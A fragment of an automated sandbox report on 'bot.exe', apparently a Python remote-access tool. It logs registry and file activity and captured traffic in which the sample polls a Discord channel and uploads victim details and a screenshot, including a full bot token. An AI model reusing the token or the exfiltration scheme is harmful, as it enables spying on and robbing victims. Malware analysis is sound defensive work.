Key: ""; Value: "") "bot.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "bot.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "bot.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE\ASSEMBLYSTORAGEROOTS"; Key: ""; Value: "") "bot.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "bot.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\ERROR MESSAGE INSTRUMENT"; Key: ""; Value: "") "bot.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS"; Key: ""; Value: "") "bot.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\BOT.EXE"; Key: ""; Value: "") "bot.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\DISPLAY"; Key: ""; Value: "")57:T148f,"libcrypto-3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- Location: [%TEMP%\_MEI0000052c2\libcrypto-3.dll]- [targetUID: 00000000-00001324] "libscipy_openblas64_-ed4f167a5330424524f45258e7ca2c8d.dll" has type "PE32+ executable for MS Windows 5.02 (DLL) x86-64 (stripped to external PDB) 11 sections"- Location: [%TEMP%\_MEI0000052c2\numpy.libs\libscipy_openblas64_-ed4f167a5330424524f45258e7ca2c8d.dll]- [targetUID: 00000000-00001324] "opencv_videoio_ffmpeg500_64.dll" has type "PE32+ executable for MS Windows 5.02 (DLL) x86-64 (stripped to external PDB) 13 sections"- Location: [%TEMP%\_MEI0000052c2\cv2\opencv_videoio_ffmpeg500_64.dll]- [targetUID: 00000000-00001324] "libssl-3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- Location: [%TEMP%\_MEI0000052c2\libssl-3.dll]- [targetUID: 00000000-00001324] "python314.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 7 sections"- Location: [%TEMP%\_MEI0000052c2\python314.dll]- [targetUID: 00000000-00001324] "msvcp140-a4c2229bdc2a2a630acdc095b4d86008.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\numpy.libs\msvcp140-a4c2229bdc2a2a630acdc095b4d86008.dll]- [targetUID: 00000000-00001324] "libportaudio64bit-asio.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 7 sections"- Location: [%TEMP%\_MEI0000052c2\_sounddevice_data\portaudio-binaries\libportaudio64bit-asio.dll]- [targetUID: 00000000-00001324] "libportaudioarm64-asio.dll" has type "PE32+ executable for MS Windows 6.02 (DLL) ARM64 7 sections"- Location: [%TEMP%\_MEI0000052c2\_sounddevice_data\portaudio-binaries\libportaudioarm64-asio.dll]- [targetUID: 00000000-00001324] "libportaudio64bit.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 7 sections"- Location: [%TEMP%\_MEI0000052c2\_sounddevice_data\portaudio-binaries\libportaudio64bit.dll]- [targetUID: 00000000-00001324] "libportaudioarm64.dll" has type "PE32+ executable for MS Windows 6.02 (DLL) ARM64 7 sections"- Location: [%TEMP%\_MEI0000052c2\_sounddevice_data\portaudio-binaries\libportaudioarm64.dll]- [targetUID: 00000000-00001324] "libportaudio32bit-asio.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 6 sections"- Location: [%TEMP%\_MEI0000052c2\_sounddevice_data\portaudio-binaries\libportaudio32bit-asio.dll]- [targetUID: 00000000-00001324] "libportaudio32bit.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 6 sections"- Location: [%TEMP%\_MEI0000052c2\_sounddevice_data\portaudio-binaries\libportaudio32bit.dll]- [targetUID: 00000000-00001324] "VCRUNTIME140.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- Location: [%TEMP%\_MEI0000052c2\VCRUNTIME140.dll]- [targetUID: 00000000-00001324] "api-ms-win-crt-private-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-crt-private-l1-1-0.dll]- [targetUID: 00000000-00001324] "python3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 2 sections"- Location: [%TEMP%\_MEI0000052c2\python3.dll]- [targetUID: 00000000-00001324] "VCRUNTIME140_1.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\VCRUNTIME140_1.dll]- [targetUID: 00000000-00001324] "api-ms-win-crt-math-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-crt-math-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-crt-string-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-crt-string-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-crt-stdio-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-crt-stdio-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-crt-runtime-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-crt-runtime-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-file-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-file-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-crt-convert-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-crt-convert-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-crt-process-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-crt-process-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-processthreads-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-processthreads-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-crt-heap-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-crt-heap-l1-1-0.dll]- [targetUID: 00000000-00001324]58:Tc08,"bot.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RAISEEXCEPTIONONPOSSIBLEDEADLOCK"; Value: "") "bot.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "bot.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "3C74AFB9-8D82-44E3-B52C-365DBF48382A"; Value: "") "bot.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "05F95EFE-7F75-49C7-A994-60A55CC09571"; Value: "") "bot.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "E36C4458-ED80-4AD7-A8BE-52DDA1EB5F1C"; Value: "") "bot.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "bot.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "bot.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "bot.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "000603XX"; Value: "") "bot.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "F25BCD2E-2690-55DC-3BC4-07B65B1B41C9"; Value: "") "bot.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") "bot.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEUMPDBUFFERSIZECHECK"; Value: "") "bot.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "ENABLEPERPROCESSSYSTEMDPI"; Value: "") "bot.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "BOT"; Value: "") "bot.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: "LOADAPPINIT_DLLS"; Value: "") "bot.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "bot.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "bot.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") "bot.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "F3A71A4B-6118-4257-8CCB-39A33BA059D4"; Value: "") "bot.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "CA967C75-04BF-40B5-9A16-98B5F9332A92"; Value: "") "bot.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "B6FD710B-F783-4B1C-AB9C-C68099DCC0C7"; Value: "") "bot.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "BF30465B-E93C-46FD-9CDF-F41C8904A01F"; Value: "")59:T99c,"bot.exe" trying to access non-existent file "C:\FLTLIB.DLL" "bot.exe" trying to access non-existent file "C:\MSVCP140.dll" "bot.exe" trying to access non-existent file "C:\VCRUNTIME140.dll" "bot.exe" trying to access non-existent file "C:\VCRUNTIME140_1.dll" "bot.exe" trying to access non-existent file "C:\CRYPTSP.DLL" "bot.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\VCRUNTIME140.dll" "bot.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\VCRUNTIME140_1.dll" "bot.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\_sounddevice_data\portaudio-binaries\libportaudio32bit-asio.dll" "bot.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\_sounddevice_data\portaudio-binaries\libportaudio32bit.dll" "bot.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\_sounddevice_data\portaudio-binaries\libportaudio64bit-asio.dll" "bot.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\_sounddevice_data\portaudio-binaries\libportaudio64bit.dll" "bot.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\_sounddevice_data\portaudio-binaries\libportaudioarm64-asio.dll" "bot.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\_sounddevice_data\portaudio-binaries\libportaudioarm64.dll" "bot.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\api-ms-win-core-console-l1-1-0.dll" "bot.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\api-ms-win-core-datetime-l1-1-0.dll" "bot.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\api-ms-win-core-debug-l1-1-0.dll" "bot.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\api-ms-win-core-errorhandling-l1-1-0.dll" "bot.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\api-ms-win-core-fibers-l1-1-0.dll" "bot.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\api-ms-win-core-fibers-l1-1-1.dll" "bot.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\api-ms-win-core-file-l1-1-0.dll"5a:Tb80,"bot.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2" "bot.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\PIL" "bot.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\PIL\_imaging.cp314-win_amd64.pyd" "bot.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\PIL\_imagingcms.cp314-win_amd64.pyd" "bot.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\PIL\_imagingtk.cp314-win_amd64.pyd" "bot.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\PIL\_webp.cp314-win_amd64.pyd" "bot.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\_asyncio.pyd" "bot.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\_bz2.pyd" "bot.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\_cffi_backend.cp314-win_amd64.pyd" "bot.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\_ctypes.pyd" "bot.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\_decimal.pyd" "bot.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\_elementtree.pyd" "bot.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\_hashlib.pyd" "bot.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\_lzma.pyd" "bot.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\_multiprocessing.pyd" "bot.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\_overlapped.pyd" "bot.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\_queue.pyd" "bot.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\_socket.pyd" "bot.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\_sounddevice_data" "bot.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\_sounddevice_data\portaudio-binaries" "bot.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\_sounddevice_data\portaudio-binaries\libportaudio.dylib" "bot.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\_sqlite3.pyd" "bot.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\_ssl.pyd" "bot.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\_uuid.pyd" "bot.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI0000052c2\_wmi.pyd"5b:T56e,Found http requests in header "GET /api/v10/users/@me" Found http requests in header "GET /api/v10/channels/1567592947002908814" Found http requests in header "GET /api/v10/channels/1567592947002908814/messages?limit=1" Found http requests in header "GET /json/?fields=status,country,countryCode,regionName,city,zip,lat,lon,timezone,isp,org,as,query" Found http requests in header "POST /api/v10/channels/1567592947002908814/messages" Found http requests in header "GET /api/v10/channels/1567592947002908814/messages?after=1568271633876000831&limit=25" Found http requests in header "GET /api/v10/channels/1567592947002908814/messages?after=1568272184554557460&limit=25" Found http requests in header "GET /api/v10/channels/1567592947002908814/messages?after=1568272263772381308&limit=25" Found http requests in header "GET /api/v10/channels/1567592947002908814/messages?after=1568272276011352136&limit=25" Found http requests in header "GET /api/v10/channels/1567592947002908814/messages?after=1568272292512014477&limit=25" Found http requests in header "GET /api/v10/channels/1567592947002908814/messages?after=1568272313302913185&limit=25" Found http requests in header "GET /api/v10/channels/1567592947002908814/messages?after=1568272327903412266&limit=25" Found http requests in header "GET /api/v10/channels/1567592947002908814/messages?after=1568272366486949983&limit=25"5c:T6480,Found string "POST /api/v10/channels/1567592947002908814/messages HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fIContent-Length: 965Content-Type: multipart/form-data; boundary=b5124d5b35bc1b92aa9d0a3a2342cbe8--b5124d5b35bc1b92aa9d0a3a2342cbe8Content-Disposition: form-data; name="content"sesiÃ³n qRTWazZeHLIROZI â 64.124.12.162 ðºð¸--b5124d5b35bc1b92aa9d0a3a2342cbe8Content-Disposition: form-data; name="file"; filename="session.json"{ "victim": "host : qRTWazZeHLIROZI\nuser : qvzzzqx\nos : Windows 10 (AMD64)\nadmin : True\npublic : 64.124.12.162\nlocal : 192.168.0.2\ncountry : United States ðºð¸\nregion : California\ncity : Santa Clara\nisp : Zayo Bandwidth\norg : AS6461 Zayo Bandwidth\ntz : America/Los_Angeles\ncoords : 37.3541 -121.955\npid : 2724", "ip": "64.124.12.162", "country": "United States", "cc": "US", "region": "California", "city": "Santa Clara", "isp": "Zayo Bandwidth", "org": "AS6461 Zayo Bandwidth", "tz": "America/Los_Angeles", "loc": "37.3541 -121.955", "local_ip": "192.168.0.2", "utc": "2026-11-06T14:32:51.136680Z"}--b5124d5b35bc1b92aa9d0a3a2342cbe8--"; File: "PCAP") Found string "POST /api/v10/channels/1567592947002908814/messages HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fIContent-Length: 248537Content-Type: multipart/form-data; boundary=f2f909fb2122e4e1dee2db9818bf171b--f2f909fb2122e4e1dee2db9818bf171bContent-Disposition: form-data; name="content"pantalla--f2f909fb2122e4e1dee2db9818bf171bContent-Disposition: form-data; name="file"; filename="screen.png"PNGIHDR óúX¬IDATxì½¼/GU ÜÝw¿ï½¼%$$/!IX@öÕåcÇu·QÁqa?FGAAguaA?eD$¬!$$$/ïe}/o»÷¾»t¿®ê®®åÔ©¥«»«ÿ·þwW:uêTõ9uNNñ#?¦i¢@J ÑC¤Xá´ ÷Y¾pQOÕGôgFuUT*áä/ßz®Ãêñh«h¨J!öÈJÃðéu¦#]ë´dcZ?*ÊßÕ±ÞrmÑ¶3TÍì$msù0æ¢(£ÌKQ6÷¥vçÈPHÅºf1îÚÏËHÝfa¦=RéúkEÒDK²¹owÖNpäªz=%6É é" ÚÖõ?ùûÒøªÃ-VÀKÝ0«H³\ðý¥é§< B¬]§Â *æ64dh·ü!Å¥1ªêÁ³g=íò¦êbWXrÍ73IÆL¯yõLG¶Í#965õLÛuêMµ?¾E´Ë½¼JnIxÄ&2':-Sfì D%s@ñnP:Á{F°;;(½Üµ NÈêDHÊf4%HW@¼)¾§HLEOô»6¥©=â~fÜýÆü1¶X@TQÕçT¥)S!Þ¿¢IMwaø:´Y!YQì Ë×|2RØÅ e£öµ<*°4"6¤zL0Á1½U!UÒ¢Jt7éuÊ#ÁÍéº1þXûÕu7ë÷Ì¼â$°h VèlæÞ¥Ù`¬Ì¤ÜffoéØ®F>4öÇG»ûVÛ5-'ïW÷fEÎøµ% Á 1Î zA'vdËt¸RáÃÇiß}\Ì\]¸IÇÀû7Ôë]à¢s¦EÆc)£1<´ÇÀ5hVåM+&`Û@ÞÈ{2Ýì©-õ"l»®Dò?%&èº]JËÁ ¦Ød7ÀÇE¨Ï0ØfÕ.ö¡aÖòUdW]«4XtnÈÒh9d¡^äRÄ{FµG6ª¶]t$ùÒà§èiÀPíÆõvd Ä¦zÖu*Ùr§É äþýµoKÕ¥ÂÊÄF»èn¹Àç/uáFn&6ýTÂå§Ôn«Ý¨.fÎâù°«á~û|XðÐD.kî;}Ìtx2ÖÍ"öX{'pËQ@{kÔÞôo¸õôiÊl¾¥=Ù×g8å;ÁGü²¡*£êëÖØÉ87¦=÷mIÍ@`[búDØr7CÂc¥ÿÈdÝ8Â)Ð»|ûI/ÐòïÈÚßKÄ©6ÑeF!îèà¤OÔ>ö.AdÉg¹~¾QID¢Ü¬VN¯~7¨úíÚ$w¬Æ®i _ÄT·új°.±wBZJ?¬ÒZ-QûìÕAà{»¢ 4Ø0Fý¨V]Iºø.«e¹ç¥kP)ãrÆò @$ó¬ë4 :2$bx`¬µnªÈDUyÅUÔtAJFéPb6tÒ®ÉfÏ¼Ú§ÛXíÈÓbOIT6½èÝúüÛqkÚÛý¨«¢Z~.Í}É0|HÓnuÇúK:<Æ§6ÙÆé'£íòÔÝ$ù¸°a£ÿ7:Âü2¿x/`hÉò/º «ºìÐc¤VDÌIáÁø!ü©Îs-íG_°PïßÉÒ¦ýF*¾]re:ZÖLp°³RÆ&C±¯óa>!=ÃòÊv}&$Ï©®ÇZvXlN¯1À5¢úáÃ®ÑK>âö³Gu'ÀBÍ¹ÏeW¹fvuNòSFµM¾ø üNY®-8`u²ö ØfÁæh[Ú"a=ü[Rëæzm·'oP}ïàQ¦8ÈÓv[=·Ç²3È9Å¥Ò»ó[{öà!}êt\óÍÒMÚÃ2ÜÚi¶kCUÿp[¼¶ä³3ÖhÚ;±{y)mZË](5´«;Ã{Û!hÁ©öÖÝ«§åç(Ø/2ôúAü¬*EY¡ä7(nUìiP\Ö!¡2ÓCLó`fpíÚ½¿ñããìMõ¯ÿv¿Ûîð×fwüæ¯üÛ·dYõÆ*dþô±äæd·ìúË/zÄ£õèëó±KKøóGï>_[ÂMz :Ñ$R(¥&5T¼¶«gÖÁ!Fi¨ôõÊn2±éún';yáøÍKÉµ¥;¥ÞÌôJ¿WsKÖ~Z;dX2O3ms$Û"?0Í:2Ä2B-²©)áÏHÚ7µäû#t4{¸m¥2$¯r¨8¡ÿÎ·£IÌ=Åëº>$yêz§gÿsÌ¸ioX¥Ó»mÈ°¬kØ&HC¡Jùr 6>-4ë¤3x_¥Gå$H³~êÔ>rêhIJË<òSÄ`rulsÖuö@9Ñ)¥ûTk©íbc¤PBr&&èjå"fÇøVkw¢ZAg@Øh¤Jâó5ÁÀu&~cFÐª×ÜEiç8«ýÊR´Hö%GRhh¶\¾ØNÎ/Me/¸k'l²´pÉRåFå«AÂ¦ÌIþgà4'9sçyäû/ÝyÒwäOüOºë{ÿÜ»~ë1»øzôw?÷ÿñæÛ¿pçÝÿtçñÍ(|Â)ú³dû"r÷oß0~nXØ]Â¾MÓëjcØ;dÒuçeãWNwSw¢òi÷àñÄõ¡¿7Bs KCÕyî9¹é»p4.bF;íj×»bÒAW0#ÃÀiÎës§UÓp{ÿeùS¾kçÉßõÑþÃgþváí¯}ÜU|Å£¯ÿ®ç|óÇo¾ýæ;ïù§;Sð@ÚáÀ°¨Y¹ºfº7ÀcÊø3þêiÍæBõç[¥ÖØÙÆ:ð.{uÁéØ_rÛÕµ8ðð7Mlò=1CÂfýfÄ°àÇ2Ä¿Àâ8êÞxÀYÏ}5gWoÊ0@§F¶2»²*&»Â.¿ÅàÑXry%Éö#ùS¿gí)ßsãÉ;?ü÷.½õ7õC{ýßñoúøÍ_¾ùÎ»itôè^Þ~1÷Ü4Ý¢:áFBåJ7Íüø9Ù&vuGº.äþ*ñûRÀ°}ÆûºøKÞüì.º8aî`³&^èn³á÷mª6d Zpb;ô³Õü®î)øZ3J»ï@c²¹YíU!Úí«ÝÏðî°iWmv7øp[ÿ¦Lh¹Ç1Æm5$(·ñ@Ú(ßÁ÷Yª7ÛÑL/o&å%+{8)]ÄÛ/ÏþsùKÞòË÷±¿YùË_{â5>öÇ|Çs^ü/~ùæ;ïáÏOÐÄéêeµg´KùÏó´7½G&ßÁúõ^gGÅÓ9ã×bwNàYò !°½ÖfÖ]#0oúµ"@'6°e~üµ·YþþÃÖoëþìòË$LcîºÈ4#srf:Ê~6 ýÊýBó£«iî ×uø¼¬®}áC^ù¼ hIyþey²SßÙa÷ÉÍìÛç>÷×{}âÉ×^vÃcûèëÃYÂ;uöyªÑuý$lGºº9®Ãbà0Ëå·¾åÐhPÉ()µlªWÜªÍR)£++ &âiØKwïtOáë%K«ágÔØÔg¼FºN$Xºò¸³Qå9båhpÀoCRB¾75ò0mLqMXXÒóÊq¬Å;ðøÂp©× r<+µaêV@Zi¹£¸¤#ÊFU³Ó´T]XuUC÷+$õÆYÚo§ÐX³mUË´"©WCÎýÕ£r(Chú¹[þüï>àìav}S±}zÇîÀ&õJ³Ùè¾D\TÿæMòËzw'gÌÍÞì,QmÏfi\fPlcMÛåhÒÈx:ÈMX¶É1Ps¹éÓò_QEDÓ/qfd£hm;ÙÜUòÿúl»ï·þíÿ½æOÿô[¾õ{3ªø¸fAzgfÐ ja®QwméÙÜÜëÏºnHÆß àQ!àý~ñÖÝíLvòâHYËc½Ý®±²YûPå;1ÕS¾öM[Æ¡DõÃ,q6½hÓ_ûO7iÉ&fÉ-ÜRð»å¦ÕdµyÔ¸äññÒý*³ÔJ}e'Eiú®ïhuyï¢kÖ/º&ù³0z¿ÙSÈübJKØW=nøÙ«!ÊXÉN5d=Íèß%jm¨°«TG»ùÕUÌ³ua2Ue(Sßé¡³Ü&C¨4N =í,sjÈu)PÝ8©ú¢nEìgÝ#ãù¤®$êf³Àý5ö¨ýÜH.}^W¥ueÊíûbK¤Ø$Wý<©ÉLÄoôÿ¸IÕ~5Ý}Ú/*üM#S)¤°td`5³½W(!Ð$L¾:Í²±Þ¬jUGßî?;àÏ¶FæÚ"ÐdæAwÜtw@ýuõIî.@©Ôg-¹êíçæÏ6D-ät2c÷`3u`ØbJVÄl2÷¯Í¾¤°©(]våaÕØzÏý¶·[ÆjÇCò,¹%¡e35IgÇÈtÆMÍê!½ÓdÜ#ÙßÆNòàf²Clß¹úfÕJõöbg|B)äÕ¨¤ÆIê&Í¸ùÁòÓÀèÊ²¬ÐÒ[¥îaó/~óÊ-H*²[ojÅa_'Ûxµß,¸ßo³¯+1Ú;°éÐ'²)TÄeÄ}è©`)±§YÊ¶ú½×gòè XP]X÷hdÚï³àëHaÇ -#ªÌ¹-ØKNÛ\Ãéço¬Pcö|Å=e¼µya9iÐÒJYUN]Ô}Ë)g$XÕÏ¥¸Äâ!ëÚOAdò{tïÅ0ÍLù¶T?H¶a>êyb»Z¬¸d£Î#²~%!Ô}7H-bG<±nµVèòôÜc³6ÓÁúeM"+518E´GHu°wH1M+Õ#ÍKSAÅÄµ¢Ê+U0ðÎ©;ãAÔi²½3À4ZÙX«Þ»ÜÝó;É©ÍÒ¦Ù°Ø"X--MgB× D½EêB'hdMIT*Lr¼ÙÈB&Ïn®@íiõ¹ÛwÅ¼BvÍºrÔX:Ü¡úóK¸;O;¦·V3(|ØuEÁ®äÃ`F;=ùxÇx¸ÞúäÊN<°¬í×sÌáAÿJ?CRGW½ÔËÚ¸&äÍHtg:6èÞq-fáÝjc·wà>[u¯ÚÝcóÂ§qJCU:é#w5>®¨æ¦]È¦½ºztÕ¯)Ø&ØxaÃÇÈÕSÖÒ7T·;Q]-ýÂ§µíZP¦#ïBj8l±ááið7*íi¦YrV[å*r+ùËßítMñðéð C&FNkhG@'WQÃU÷¤O5wA¾[m/±¸h 